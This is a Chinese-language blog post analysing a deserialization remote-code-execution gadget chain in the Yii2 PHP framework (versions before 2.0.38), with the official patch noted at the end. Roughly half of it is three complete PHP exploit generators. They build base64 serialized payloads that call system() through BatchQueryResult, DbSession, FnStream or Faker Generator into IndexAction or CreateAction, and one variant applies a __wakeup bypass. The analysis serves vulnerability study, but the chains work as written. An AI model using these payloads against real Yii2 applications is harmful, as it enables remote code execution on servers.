Yii框架反序列化RCE利用链分析

 
影响范围
 

Yii2 < 2.0.38

 
测试版本 yii-basic-app-2.0.37.tgz
 
原理我这边看了一下,是能够看懂,但是我是菜鸡,反序列化的链我构造不出来=。=
 
漏洞位于

/vendor/yiisoft/yii2/db/BatchQueryResult.php
 
其中 __destruct调用了本地的 reset() 方法

 

 
进去查看一下, reset 方法中的 _dataReader 可控
 
这里面有两个思路,第一种查找其他类中的 close() 方法,还有一种就是查找 __call() 方法
 
这里先使用第一种方法
 

grep -r "function close(" ./

 

 
这里面作者使用的是 /vendor/yiisoft/yii2/web/DbSession.php 我们进去查看一下
 

 
可以看到 DbSession 调用了父类中的 getIsActive 方法,跟进去看看
 

 
这里面作者说,只要是安装了 debug和gi 扩展就可以返回 true(好像是默认开启的)
 
接着又调用父类中的 composeFields 方法
 

 

 
其中 writeCallback可控
 
call_user_func($this->writeCallback, $this)
 
但是只能调用无参数的方法,就是将writeCallback赋值为数组的形式
 

$writeCallback=[(new xxx),"aaa"];  //调用 xxx类中的 aaa 方法

 
这里面作者找到了 /vendor/yiisoft/yii2/rest/IndexAction.php 中的 run 方法
 

 
这里面 checkAccessid都可控,因此我们可以达到我们的目的
 

下面来构造反序列化

 
关于反序列化的配置,我也不是很会,也是看大佬们的文章一步一步来的,抱歉了
 

<?php
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}


namespace{
$exp = new \yii\db\BatchQueryResult("system", "whoami");
print(base64_encode(serialize($exp)));
}

 
 

 
SiteController 控制器写一个反序列化点
 

 

 
原本想试试用 /vendor/guzzlehttp/psr7/src/FnStream.php 构造的
 

 

 
但是限制了不能反序列化
 
但是可以尝试CVE-2016-7124漏洞php的__wakeup方法绕过
 

PHP5 < 5.6.25
PHP7 < 7.0.10

 

<?php
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace Psr\Http\Message{
    interface StreamInterface{

    }
}
namespace GuzzleHttp\Psr7{

    use Psr\Http\Message\StreamInterface;

    class FnStream implements StreamInterface {
        public function __construct($func, $param)
        {
            $this->_fn_close=[new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \GuzzleHttp\Psr7\FnStream($func, $param);
        }
    }
}


namespace{
$exp = new \yii\db\BatchQueryResult("system", "whoami");
print(base64_encode(str_replace(":1:{s:9",":2:{s:9",serialize($exp))));

}

 

 

测试可以绕过
 
有点疑惑,我是用的是 7.0.33 版本的PHP,不知道为啥还可以绕过
 

 

 
本机 7.1.23 也可以
 

试试第二种方式分析

 
第二种就是查找 __call 函数了
 

 
我这里找到 /vendor/fzaninotto/faker/src/Faker/Generator.php
 

 
跟进 format
 

 
跟进 getFormatter
 

 
只看前部分, $formatters 可控,但是函数参数不可控,但是可以调用所有类中函数了,到这里的思路跟前面一样,可以调用 /vendor/yiisoft/yii2/rest/IndexAction.php 以及 /vendor/yiisoft/yii2/rest/CreateAction.php 中的 run方法
 
这里直接粘exp
 

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

 

官方修补

 
官方修补的方式也很简单,在BatchQueryResult中添加了 __wakeup 阻止其序列化

 

 
试了一下 __wakeup 绕过,没有成功,本地也没有合适的版本测试(搞不懂上面是怎么成功了)
 

参考资料

 
https://mp.weixin.qq.com/s/KNhKti5Kcl-She4pU3D-5g

https://www.cnblogs.com/potatsoSec/p/13693969.html

https://xz.aliyun.com/t/8082#toc-8

https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

posted @ 2020-09-20 13:03  Zahad003  阅读(742)  评论(0编辑  收藏  举报